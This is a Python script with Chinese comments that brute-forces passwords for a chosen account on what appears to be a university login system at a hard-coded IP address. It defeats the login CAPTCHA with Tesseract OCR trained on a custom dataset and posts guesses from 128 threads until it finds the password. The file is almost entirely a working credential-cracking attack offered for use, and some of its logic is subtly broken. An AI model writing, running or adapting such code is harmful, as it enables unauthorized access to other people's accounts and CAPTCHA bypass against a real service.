# -*- coding: UTF-8 -*_
from PIL import Image
from pytesseract import *
import requests
from io import BytesIO
import time, threading
import os
pd=False
'''
def gethtml(url,cookies):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0'
    }
    res = requests.get(url, headers=headers,cookies=cookies)
    return res.text
'''
def mkdir(path):
    folder = os.path.exists(path)
    if not folder:  # 判断是否存在文件夹如果不存在则创建为文件夹
        os.makedirs(path)  # makedirs 创建文件时如果路径不存在会创建这个路径
def yzm(s):        #s是图片本地路径
    im = Image.open(s)
    imgry = im.convert('L')#把图片变成灰色
    threshold = 140

    table = []

    for i in range(256):#二值化变成黑白

        if i < threshold:
            table.append(0)
        else:
            table.append(1)
    out = imgry.point(table, '1')
    asd = pytesseract.image_to_string(out,lang='fyx')#然后就是机器识别咯，lang包来自小贩子的喂图调教成果（机器学习）~~~
    return  asd


zh=input('输入要破解的账号:\n')
mm=int(input('输入密码初始值（6位密码最小可能是多少，不知道就输入10000）:\n'))
cg=0
cs=0
img_src='http://202.119.113.135/validateCodeAction.do?random=0.5'#获取验证码的链接
#url='http://202.119.113.135/gradeLnAllAction.do?type=ln&oper=qbinfo&lnxndm'
url1='http://202.119.113.135/loginAction.do'#登录链接
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/52.0'}#请求头
'''
fw函数是用来验证密码是否正确的函数
mm参数是密码
xc参数是线程编号~~
'''
def fw(xc,mm):#xc=线程编号 mm=测试密码
    global cg ,cs,zh
    cs += 1
    valcode = requests.get(img_src) #从验证码链接获取图片
    cookies = valcode.cookies.get_dict() #保存cookies
    image = Image.open(BytesIO(valcode.content)) #图片获取
    #path1 = os.path.abspath('.')
    lj='yzm\\'+str(xc)+'yzm.bmp'#图片保存路径
    try:
        image.save(lj)#保存图片
    except:
        return fw(xc,mm)
    yzm_str = yzm(lj)
    if (len(yzm_str) != 4):#验证码不是4位说明识别出错
        return fw(xc,mm)
    mms = str(mm)
    while (len(mms) < 6):#密码补0
        mms = '0' + mms
    data = {        #需要post的数据
        "zjh": str(zh),
        "mm": mms,
        "v_yzm": yzm_str,
    }
    response = requests.post(url1, data=data, headers=headers, cookies=cookies)#获取网页
    htxt = response.text#网页源代码
    if ('您的密码不正确，请您重新输入' in htxt):
        mm += 1
        cg += 1
        if pd:      #判断别的线程是否已经测试出密码了
            return False
        print(str(xc)+'          '+str(mms)) #输出错误密码
        return False
    elif ('你输入的验证码错误' in htxt):
        return False
    else:
        return True

'''
def ch(n):
    global mm
    mm+=n
    return mm
lock = threading.Lock()
'''

'''
暴力破解当然得要多线程咯~~
'''
def zhx(x):#最后一位X的
    if x%11==10:
        return str(int(x/11))+'X'
    return str(int(x/11))+str(x%11)
def run_thread(n,zs):
    global pd
    mmx=mm+n
    mmx=zhx(mmx)
    while True:
        if pd:
            return
        if (fw(n,mmx)):
            pd=True
            break
        mmx+=zs
    print('破解成功')
    print('账号:' + str(zh))
    print('密码:' + str(mmx))
i=1
t={}
xczs=128 #这是线程数量，我放了128个差点把电脑卡死~~~
mkdir('yzm')
while i<=xczs:
    t[i] = threading.Thread(target=run_thread, args=(i,xczs))
    print('xccj' + str(i))
    i+=1
i=1
while i<=xczs:
    t[i].start()
    print('xcqd' + str(i))
    i+=1









